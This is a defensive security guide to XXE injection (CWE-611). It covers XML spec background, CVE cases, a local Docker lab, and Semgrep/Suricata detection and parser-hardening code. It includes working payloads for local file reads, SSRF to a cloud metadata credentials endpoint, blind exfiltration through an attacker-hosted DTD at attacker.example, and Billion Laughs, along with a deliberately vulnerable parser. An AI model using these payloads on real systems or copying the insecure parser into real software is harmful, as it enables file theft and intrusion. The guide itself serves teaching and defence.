Skip to main content

XXE Explained: Attack Examples & Prevention

XML external entity (XXE) injection makes your XML parser read local files, call internal services, or exhaust memory on the attacker's behalf, by referencing an external entity that the parser was configured to resolve. It is CWE-611. This guide covers the spec-level anatomy, a reproducible local lab, detection, and per-language fixes.

What XXE is

MITRE defines CWE-611 as the product processing "an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output". CWE-611 is a base weakness, a child of CWE-610 (Externally Controlled Reference to a Resource in Another Sphere) and a peer of CWE-441 (Unintended Proxy or Intermediary, the confused deputy). Its two close relatives are CWE-776 (recursive entity references in DTDs, i.e. Billion Laughs) and CWE-827 (improper control of the document type definition).

The OWASP Top 10 placement has moved. XXE was its own category (A4:2017), and in the 2021 edition it was folded into A05:2021 Security Misconfiguration, whose mapped-CWE list explicitly includes CWE-611 and CWE-776. (The OWASP XXE Prevention Cheat Sheet still links to the 2017 page, so older scanner reports and blog posts cite A4.) That placement is accurate: XXE is not a markup flaw, it is a parser configuration flaw. The same payload that discloses /etc/passwd on one service is inert on another, and the only difference is which features the parser was told to enable.

Practical consequence: you cannot fix XXE with input filtering, and you cannot detect it by looking at XML payloads alone. The fix lives in parser construction code, and the detection signal is often a network connection the application was never supposed to make.

Anatomy: the XML 1.0 features behind XXE

XXE exists because XML 1.0 (a W3C Recommendation dated 26 November 2008) defines two features that were designed for document modularity in the SGML era and were carried into the parser defaults of every mainstream language.

1. External entity declarations. Section 4.2.2 External Entities defines ExternalID as either SYSTEM plus a system literal or PUBLIC plus a public and system literal. The system literal is the entity's system identifier, and the spec states it "is meant to be converted to a URI reference (as defined in [IETF RFC 3986]), as part of the process of dereferencing it to obtain input for the XML processor to construct the entity's replacement text". In other words: an entity declaration is an instruction to fetch a URI. The spec also notes that retrieval may be redirected at the parser level (an entity resolver) or below it (an HTTP Location: header), a detail that matters for allow-list bypasses.

2. Entity resolution is optional. Section 4.4.3 Included If Validating is the crux of the vulnerability class. A processor that is validating the document must include the replacement text. But: "If the entity is external, and the processor is not attempting to validate the XML document, the processor MAY, but need not, include the entity's replacement text. If a non-validating processor does not include the replacement text, it MUST inform the application that it recognized, but did not read, the entity."

Read that as a specification of two legal behaviours. A parser may refuse to fetch the URI. That is the safe, spec-permitted path. A parser may also fetch and inline it, which is what makes the payload work. When a parser fetches external entities by default, the application inherits a server-side request primitive (and a file-read primitive) that no developer asked for. Section 4.4.2 Included defines the mechanics: the replacement text is retrieved and processed in place of the reference itself, as though it were part of the document.

There is also a hard limit worth knowing, because it kills a common payload. Section 4.4.4 Forbidden makes "a reference to an external entity in an attribute value" a fatal error. External entities expand in element content, not inside attributes, so payloads that place the reference in an attribute value fail as malformed XML rather than leaking anything.

Where entity references are processed

Reference locationInternal entityExternal entity
In element contentIncludedIncluded if validating (otherwise MAY)
In an attribute valueIncluded in literalForbidden: fatal error
In the DTD (parameter entity)Included as PEIncluded (external DTD subset is fetched)

The third row is the blind-XML channel: parameter entities (%name;) are processed inside the DTD itself, so a document can tell the parser to fetch a remote DTD whose declarations build a second-stage payload. Nothing in the response body has to change for that to work, which is exactly why out-of-band XXE is so often missed in code review.

Attack classes

Every XXE variant is one of three primitives (read a URI, reflect the result somewhere you can see it, or burn resources) combined with a channel for getting data out. CWE-611's consequence table lists the three impacts plainly: read application data or files (confidentiality), bypass a protection mechanism by forcing outgoing requests the attacker cannot make directly (integrity), and resource-consumption denial of service (availability).

In-band file disclosure

The classic form, and the one to test first because it needs no external infrastructure:

<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<foo>&xxe;</foo>

If the application echoes parsed values back (an error message, a rendered field, a search result), the file content comes back with them. On Windows the same payload reads file:///c:/windows/win.ini. Note the scheme is not limited to file:. The URI is dereferenced by whatever the parser's resolver supports, which historically included http, ftp, jar: (Java, useful for large-file DoS) and, in PHP builds, php:// and expect://.

Server-side request forgery and port scanning

Point the entity at an internal URL and the parser becomes a request client inside your trust boundary:

<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/"> ]>
<foo>&xxe;</foo>

On cloud instances this reaches the instance metadata service, the same primitive covered in the SSRF guide. Without a reflected channel it still works as a scanner: a parser that returns "connection refused" in 2 ms and "timed out" in 20 s after 20 s is a port scanner, and error text differences leak whether an internal host exists.

Blind (out-of-band) XXE

When nothing is reflected, the attacker supplies an external DTD that reads a local file and stuffs it into a URL the parser will fetch. The attacker's own HTTP server logs are the read channel, the same trick as out-of-band SQL injection. The canonical two-stage payload is an external DTD subset plus nested parameter entities:

  1. 1. Attacker

    Posts XML that references a remote DTD

  2. 2. XML parser

    Fetches evil.dtd from the attacker

  3. 3. XML parser

    Reads the local file into a parameter entity

  4. 4. XML parser

    Requests an attacker URL containing the file contents

Blind XXE exfiltration: nothing is reflected, so the file contents leave through a request to the attacker’s server.
<!-- 1. the request body -->
<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://attacker.example/evil.dtd">
<foo>ok</foo>

<!-- 2. evil.dtd served by the attacker -->
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.example/?h=%file;'>">
%eval;
%exfil;

% is a character reference for %, needed because the inner %exfil; must be declared in the DTD rather than written literally. A cheaper variant skips the callback and uses error-based extraction: reference a file through a path that cannot exist, such as file:///nonexistent/%file;, so the parser error message itself carries the content.

Denial of service: Billion Laughs

CWE-776 abuses internal entity expansion: ten entities each referring ten times to the previous one multiplies into a billion copies of a short string.

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

This one is worth testing rather than assuming. libxml2 2.9 and later ship entity-expansion limits, so against a modern lxml build the payload above normally fails with a parse error instead of allocating gigabytes; the same payload against a parser without limits still eats the process. Treat it as a control to verify, not a guaranteed crash.

Where the XML actually enters

The reason XXE keeps appearing in mature codebases is that "does this service parse XML?" is answered too narrowly. Every item below is an XML parser entry point:

  • SOAP and XML-RPC endpoints, SAML/SSO assertions, WebDAV and CalDAV bodies, RSS/Atom feed readers.
  • File uploads of XML-based formats: SVG images, OOXML documents (DOCX/XLSX/PPTX are ZIP archives of XML parts), EPUB, and PDFs with XFA forms. The Apache Tika CVE below is exactly this case.
  • Server-side XSLT/XPath processing (Java TransformerFactory, SchemaFactory, Validator) where the external-entity settings are separate from the document parser's.
  • XInclude processing, which fetches href targets independently of entity resolution: <xi:include href="file:///etc/passwd"/> discloses files on parsers where entity expansion is already off.

Documented incidents, not hypotheticals

CVEProductEntry pointFix
CVE-2025-66516Apache Tika (tika-core 1.13–3.2.1)Crafted XFA file inside a PDF; CVSS 3.1 8.4 (CWE-611)tika-core ≥ 3.2.2
CVE-2025-68493Apache Struts (2.0.0–6.1.0)Missing XML validation → XXE (S2-069); CVSS 3.1 8.1Struts 6.1.1
CVE-2017-12629Apache Solr (< 7.1, Lucene < 7.1)XXE in the XML Query Parser (enabled by default for query requests), chained with the Config API to remote code executionSolr 7.1+

Three details are worth carrying into your own threat model. First, Tika's advisory is explicit that the vulnerable code was in tika-core while the reported entry point was the PDF module, so teams that upgraded only the parser module stayed vulnerable: fixing the reported component is not the same as fixing the parser. Second, the Tika case shows the modern shape of XXE: nobody sent XML to an XML endpoint, they uploaded a PDF. Third, Solr 2017 is the reason XXE belongs in a severity conversation rather than a hardening checklist: file disclosure chained into RCE through a second feature.

Reproducible local lab

Everything below runs in containers on your own machine against a deliberately insecure parser, with no live targets. The lab has two services: an app with a vulnerable and a hardened endpoint, and an attacker container that serves the external DTD and logs every request it receives (that log is the out-of-band read channel).

Layout

xxe-lab/
├── docker-compose.yml
├── app/
│   ├── Dockerfile
│   └── app.py
├── attacker/
│   ├── exfil.dtd
│   └── probe.xml
└── payloads/
    ├── 1-file-read.xml
    ├── 2-ssrf.xml
    ├── 3-external-dtd.xml
    └── 4-billion-laughs.xml

docker-compose.yml

services:
  app:
    build: ./app
    ports:
      - '127.0.0.1:5001:5001'
  attacker:
    image: python:3.12-alpine
    working_dir: /srv
    command: python -m http.server 8000
    volumes:
      - ./attacker:/srv
    ports:
      - '127.0.0.1:8000:8000'

Both services publish to loopback only. The attacker is a stock static file server; its stdout log lines (GET /exfil.dtd HTTP/1.1) are the exfiltration channel.

app/Dockerfile and app/app.py

FROM python:3.12-slim
RUN pip install --no-cache-dir flask lxml
COPY app.py /app.py
CMD ["python", "/app.py"]
from flask import Flask, request
from lxml import etree

app = Flask(__name__)


def vulnerable_parser():
    # Insecure on purpose: DTDs are loaded, entities are resolved,
    # and the parser may reach the network.
    return etree.XMLParser(resolve_entities=True, load_dtd=True, no_network=False)


def hardened_parser():
    return etree.XMLParser(resolve_entities=False, load_dtd=False, no_network=True)


def parse_with(parser):
    try:
        root = etree.fromstring(request.get_data(), parser=parser)
    except etree.XMLSyntaxError as exc:
        return {'error': str(exc)}, 400
    return {'text': ''.join(root.itertext())}


@app.post('/parse')
def parse_vulnerable():
    return parse_with(vulnerable_parser())


@app.post('/parse-safe')
def parse_hardened():
    return parse_with(hardened_parser())


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5001)

The two endpoints differ only in parser construction, which is the entire point of the exercise. itertext() flattens all text nodes, so anything the parser inlined shows up in the JSON response.

Attacker files and payloads

# attacker/probe.xml — a well-formed document so the parser can inline it
<probe>attacker-controlled</probe>

# attacker/exfil.dtd — an external DTD subset that declares a local-file entity
<!ENTITY xxe SYSTEM "file:///etc/hostname">
<!-- payloads/1-file-read.xml -->
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<foo>&xxe;</foo>

<!-- payloads/2-ssrf.xml -->
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://attacker:8000/probe.xml"> ]>
<foo>&xxe;</foo>

<!-- payloads/3-external-dtd.xml -->
<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://attacker:8000/exfil.dtd">
<foo>&xxe;</foo>

Run it and verify

cd xxe-lab
docker compose up -d --build

# Baseline: the file really is inside the container, so a leak is a leak.
docker compose exec app head -n 1 /etc/passwd

# 1. In-band file disclosure
curl -s -X POST http://127.0.0.1:5001/parse --data-binary @payloads/1-file-read.xml
# -> {"text":"root:x:0:0:root:/root:/bin/sh\n..."}

# 2. SSRF: the app fetches the attacker container's document
curl -s -X POST http://127.0.0.1:5001/parse --data-binary @payloads/2-ssrf.xml
# -> {"text":"attacker-controlled"}

# 3. External DTD fetch: entity declared in the remote DTD reads a local file
curl -s -X POST http://127.0.0.1:5001/parse --data-binary @payloads/3-external-dtd.xml
# -> {"text":"<container-hostname>"}

# The out-of-band channel, as the attacker sees it:
docker compose logs attacker | tail -n 5
# -> "GET /probe.xml HTTP/1.1" 200 -
# -> "GET /exfil.dtd HTTP/1.1" 200 -

# 4. Same payloads against the hardened parser: no leak, and 4 confirms the
#    expansion limit rather than a crash.
curl -s -X POST http://127.0.0.1:5001/parse-safe --data-binary @payloads/1-file-read.xml
# -> {"text":""}  (or a 400 XMLSyntaxError — no file content either way)
curl -s -X POST http://127.0.0.1:5001/parse-safe --data-binary @payloads/4-billion-laughs.xml
# -> {"error":"..."} with an entity-expansion error on libxml2 >= 2.9

Payload 3 is the one people miss in review: the request body contains no <!ENTITY at all, only a remote DTD reference, and the file read happens in declarations the server fetched from the attacker. Payload 4 doubles as a calibration check on your libxml2 build: if it does not error out, your parser has no expansion limit and Billion Laughs is live.

If your stack is Java or .NET rather than Python, keep the same lab and swap app.py for a two-line endpoint using DocumentBuilderFactory or XmlDocument with default settings. The payloads are parser-independent because they only use XML 1.0 features.

Detection

Static analysis (Semgrep)

Semgrep's registry already ships rules for the Java parsers, referenced by the OWASP cheat sheet:

  • java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-missing
  • java.lang.security.audit.xxe.saxparserfactory-disallow-doctype-decl-missing
  • java.lang.security.xmlinputfactory-possible-xxe

For Python there is no equivalent default, so the parser constructor itself is the pattern to match. This rule flags the two flags that create the bug:

rules:
  - id: py-lxml-entity-resolution-enabled
    languages: [python]
    severity: ERROR
    message: >-
      lxml XMLParser enables entity resolution or DTD loading (CWE-611).
      Use etree.XMLParser(resolve_entities=False, load_dtd=False, no_network=True).
    patterns:
      - pattern-either:
          - pattern: lxml.etree.XMLParser(..., resolve_entities=True, ...)
          - pattern: etree.XMLParser(..., resolve_entities=True, ...)
          - pattern: lxml.etree.XMLParser(..., load_dtd=True, ...)
          - pattern: etree.XMLParser(..., load_dtd=True, ...)
    metadata:
      cwe: 'CWE-611'
      owasp: 'A05:2021 - Security Misconfiguration'

Code review: the five questions that find XXE

StackGrep forWhy it matters
JavaDocumentBuilderFactory.newInstance, SAXParserFactory.newInstance, XMLInputFactory.newInstance, TransformerFactory.newInstance, SchemaFactory.newInstanceXXE is on by default; each factory needs its own hardening, including the XSLT/validation ones
.NETXmlDocument, XmlTextReader, XslCompiledTransform, DtdProcessing.Parse, XmlResolverSafe from .NET Framework 4.5.2 by default, unless someone assigns a resolver or sets DtdProcessing.Parse
Pythonlxml, resolve_entities, load_dtd, xml.etree, xml.sax, xml.dom.minidom, defusedxmllxml defaults changed over time; stdlib parsers resist external entities but not entity expansion
PHPsimplexml_load_string, DOMDocument, LIBXML_NOENT, LIBXML_DTDLOAD, libxml_disable_entity_loaderlibxml2 ≥ 2.9 / PHP ≥ 8.0 is safe by default; explicit LIBXML_NOENT re-enables the bug
Node.js / Golibxmljs, noent, dtdload, fast-xml-parser, xml2js, encoding/xmlPure-JS and Go stdlib parsers do not fetch external entities: the risk arrives with native libxml2 bindings

Network signatures (Suricata)

Two starting points (SIDs 1,000,000+ are reserved for local rules, so tune before deploying). The first catches the inbound probe, the second catches the parser reaching out for a remote DTD:

alert http any any -> any any (msg:"XXE probe - DOCTYPE with external entity in request body"; \
  flow:established,to_server; http.method; content:"POST"; \
  http.request_body; content:"<!DOCTYPE"; nocase; content:"SYSTEM"; nocase; within:256; \
  classtype:web-application-attack; sid:1000201; rev:1;)

alert http any any -> any any (msg:"XML parser fetching remote DTD (blind XXE channel)"; \
  flow:established,to_server; http.uri; content:".dtd"; endswith; \
  classtype:web-application-attack; sid:1000202; rev:1;)

Be clear about the limits of network detection here. An entity pointing at file:///etc/passwd produces no packet at all: the disclosure is invisible on the wire. Only the outbound legs (SSRF targets, remote DTDs, exfiltration callbacks) are observable. That is why the durable detection is architectural: any service that parses untrusted XML should have an egress allow-list and an alert on unexpected outbound DNS/HTTP from that service. In-band probes are also trivially obfuscated (entity indirection, encoding, parameter entities, or the XML being inside an uploaded file), so treat the signatures as coverage for careless attacks, not as a control.

Fix patterns

The OWASP guidance is unambiguous: "The safest way to prevent XXE is always to disable DTDs (External Entities) completely." Disabling DTDs also removes the Billion Laughs path. If a business requirement genuinely needs DTDs, disable external entities, external DTD loading and XInclude together, and keep in mind that the external-general-entities and external-parameter-entities flags must both be off, because either one alone leaves a working payload.

Parser defaults and the minimum safe configuration

ParserDefaultSet this
Java JAXP (DOM/SAX/DOM4J)XXE enabled by defaultdisallow-doctype-decl=true, setXIncludeAware(false), setExpandEntityReferences(false)
Java StAX XMLInputFactoryExternal entities supportedSUPPORT_DTD=false, isSupportingExternalEntities=false
Java TransformerFactory / SchemaFactory / ValidatorExternal access allowedACCESS_EXTERNAL_DTD="", ACCESS_EXTERNAL_SCHEMA="", ACCESS_EXTERNAL_STYLESHEET=""
.NET XmlDocument / XmlTextReader / XPathNavigatorUnsafe before .NET Framework 4.5.2, safe from 4.5.2XmlResolver = null, DtdProcessing = Prohibit; ASP.NET also needs <httpRuntime targetFramework="4.5.2" />
.NET XmlReader / XDocument / XmlNodeReaderSafe by default from 4.5.2Never assign a non-null resolver; leave DtdProcessing at Prohibit
Python lxmlresolve_entities=True in older releases; 'internal' in lxml 5.0/6.1 (internal expansion still on)resolve_entities=False, load_dtd=False, no_network=True
Python stdlib (etree/sax/minidom/pulldom)External entities safe; Billion Laughs and quadratic blowup vulnerableUse defusedxml with forbid_dtd, forbid_entities, forbid_external
PHP (libxml2 backend)Safe by default on PHP ≥ 8.0Pre-8.0: libxml_set_external_entity_loader(null); never pass LIBXML_NOENT or LIBXML_DTDLOAD
Go encoding/xmlNo DTD processing, no external entity expansionNothing to disable; audit cgo libxml2 bindings and any XML forwarded to another service
Node.js pure-JS parsersNo external-entity fetching implementedKeep it that way; native libxml2 bindings need noent=false, nonet=true, dtdload=false

Java: hardening JAXP

import javax.xml.XMLConstants;
import javax.xml.parsers.DocumentBuilderFactory;

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

// PRIMARY defense: reject any document with a DOCTYPE.
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

// Do not process XInclude, and do not substitute entity references.
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);

// If you cannot reject DOCTYPEs outright, turn off both entity classes
// and external DTD loading together - one without the other is bypassable.
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

// Centralize the same settings for the other factories you use:
//   SAXParserFactory  -> the same setFeature calls
//   XMLInputFactory   -> SUPPORT_DTD=false, isSupportingExternalEntities=false
//   TransformerFactory/SchemaFactory -> ACCESS_EXTERNAL_DTD="" (+ SCHEMA/STYLESHEET="")

Two Java-specific traps from the OWASP cheat sheet. First, each setFeature call belongs in its own try/catch, because a processor that throws on an unsupported feature would otherwise skip every subsequent hardening line. Second, java.beans.XMLDecoder.readObject() cannot be made safe at all: it deserializes arbitrary objects and executes code, so replace it rather than configure it.

.NET: explicit settings beat version assumptions

using System.Xml;

var settings = new XmlReaderSettings
{
    // Reject any DOCTYPE instead of parsing it.
    DtdProcessing = DtdProcessing.Prohibit,
    // Never resolve external resources.
    XmlResolver = null,
};

using var reader = XmlReader.Create(stream, settings);
var doc = new XmlDocument { XmlResolver = null };
doc.Load(reader);

On .NET Framework, the effective safety level is the lower of the assembly's target framework and the httpRuntime targetFramework in Web.config. An ASP.NET app targeting 4.8 but declaring <httpRuntime targetFramework="4.0" /> is treated as pre-4.5.2 and is unsafe by default. Explicit settings are the only version-proof option.

Python: defusedxml, or explicit lxml flags

# Option A: defusedxml as a drop-in for the stdlib parsers.
from defusedxml.ElementTree import fromstring

root = fromstring(
    user_supplied_xml,
    forbid_dtd=True,        # no DOCTYPE at all
    forbid_entities=True,   # no entity expansion (Billion Laughs)
    forbid_external=True,   # no external references
)

# Option B: lxml, configured explicitly. Do not rely on version defaults -
# resolve_entities was True by default in older releases and is 'internal'
# (internal expansion still enabled) in lxml 5.0/6.1.
from lxml import etree

parser = etree.XMLParser(resolve_entities=False, load_dtd=False, no_network=True)
root = etree.fromstring(user_supplied_xml, parser=parser)

Note the asymmetry: Python's stdlib parsers do not expand external entities (so the classic file:// payload is inert), but they are vulnerable to entity-expansion DoS. lxml is the opposite risk profile: it resolves entities, and its defaults have moved twice. Configure both explicitly and you do not have to remember which version fixed what.

Prevention checklist

#ControlVerification
1Inventory every XML parse path, including file uploads, XSLT/validation factories, XInclude and feed readersGrep table above returns no unexplained hits
2Disable DTD processing by default; allow it only with a written justificationLab payloads 1–3 return no file content or external fetch
3Centralize parser construction in one hardened helper per language; ban ad-hoc parsers in reviewOne constructor per stack, referenced everywhere
4Enforce it in CI with Semgrep (registry Java rules + a local lxml rule)A deliberately vulnerable commit fails the pipeline
5Cap input size and parser time; reject oversized documents before parsingPayload 4 fails fast instead of consuming CPU/memory
6Egress allow-list plus alerting for XML-parsing services (for example a default-deny egress NetworkPolicy)An unexpected remote DTD fetch raises an alert
7Patch XML libraries as a class, not per reported moduleTika-style module/parser split does not leave a gap

What does not work (and why teams still ship it)

  • Blocking strings like <!DOCTYPE or SYSTEM. The payload can hide the entity declarations in a remote DTD (lab payload 3), reach the same primitive through XInclude without any entity at all, or arrive inside an uploaded PDF/OOXML/SVG where a request-body filter never sees the XML. The filter also breaks legitimate XML that uses DTDs.
  • Relying on the FEATURE_SECURE_PROCESSING flag alone. The OWASP cheat sheet is explicit that its behaviour is implementation-dependent and that it may not mitigate entity expansion; it is a supplement to disabling DTDs, not a replacement.
  • Disabling only one entity class. External general entities and external parameter entities must be disabled together, along with external DTD loading: the parameter-entity path is what drives blind XXE, and it is easy to forget because most PoCs use the general form.
  • Putting the entity in an attribute value. XML 1.0 §4.4.4 makes that a fatal error, so the payload fails as malformed rather than leaking, which is useful to know when you are testing whether a "no leak" result means safe configuration or a broken payload.
  • Assuming your language is immune. Python stdlib and Go's encoding/xml really do resist the classic file-read payload, but Python stdlib still expands entities recursively, and neither statement says anything about the Java or .NET service you hand the same document to downstream.

Key takeaways

  • XXE is a parser configuration bug (CWE-611), not an input-validation bug; the fix belongs in the parser constructor and in code review.
  • XML 1.0 §4.4.3 makes external entity resolution optional for non-validating processors. Any parser that fetches them by default has handed your application a file-read and request-forgery primitive.
  • Disable DTDs entirely where possible; if you cannot, disable external entities, external DTD loading and XInclude together and cap expansion.
  • Test with the lab payloads, including the remote-DTD variant that contains no <!ENTITY at all.
  • Detect it in code (Semgrep, one hardened helper per stack) and in egress traffic, because the file:// disclosure leaves no packet.

Frequently asked questions

What is an XXE attack?
XML external entity (XXE) injection (CWE-611) abuses an XML parser that resolves external entities: a document declares an entity pointing at a file or URL, and the parser reads it, disclosing local files, making requests inside the network, or exhausting resources.
Is XXE an input-validation bug?
No, it is a parser configuration bug. The attack document is well-formed XML, so validating input does not help. The fix is to configure every parser to reject DTDs, or at least disable external entity and external DTD loading.
How does blind (out-of-band) XXE exfiltrate data?
When nothing is reflected in the response, the payload loads an attacker-hosted DTD whose parameter entities read a local file and embed its contents in a URL the parser then fetches. The attacker reads the data from their own server logs.
Which XML parsers are vulnerable to XXE by default?
It depends on the library and version, so do not rely on defaults. Java's JAXP factories, older .NET settings, lxml with entity resolution enabled, and PHP builds that allow external entities have all been exploitable. Set the hardening features explicitly in one shared helper per stack.

Kokkuvõte eesti keeles

XXE ehk XML-i väliste olemite rünne (CWE-611) tabab rakendusi, mille XML-parser lahendab kasutaja saadetud dokumendis viidatud väliseid olemiviiteid. Ründaja saab nii lugeda serveri faile (file://), teha serveri nimel päringuid sisemistesse teenustesse ja pilvemetadata-liidesesse, teha portskaneerimist või kurnata mälu ja protsessoriressurssi. Juurpõhjus ei ole XML ise, vaid parseri seadistus: XML 1.0 spetsifikatsiooni punkt 4.4.3 ütleb, et mittevalideeriv parser võib, aga ei pea välise olemiviite sisu laadima: kui parser teeb seda vaikimisi, ongi haavatavus olemas.

Kõige kindlam parandus on DTD-d täielikult keelata, sest see sulgeb ka Billion Laughs ehk olemite laiendamise kaudu tekitatava teenusetõkestuse. Kui DTD-d on tõesti vaja, tuleb korraga välja lülitada välised üld- ja parameeterolemid, välise DTD laadimine ning XInclude, samuti piirata olemite laiendamise mahtu. Tuvastus tasub ehitada kahte kohta: koodi (Semgrep-reeglid ja üks tsentraliseeritud, karastatud parser-helper iga tehnoloogia jaoks) ja väljuvasse liiklusesse, sest file:// kaudu toimuv andmeleke ei jäta võrgus ühtegi paketti.

Täielik lokaalne docker-compose labor (haavatav ja karastatud lõpp-punkt, ründaja konteiner välise DTD-ga), ründenäited ning paranduskood Java, .NET-i, Pythoni, PHP, Go ja Node.js jaoks on ülal inglise keeles.

Sources

Related Guides

All security guides by attack family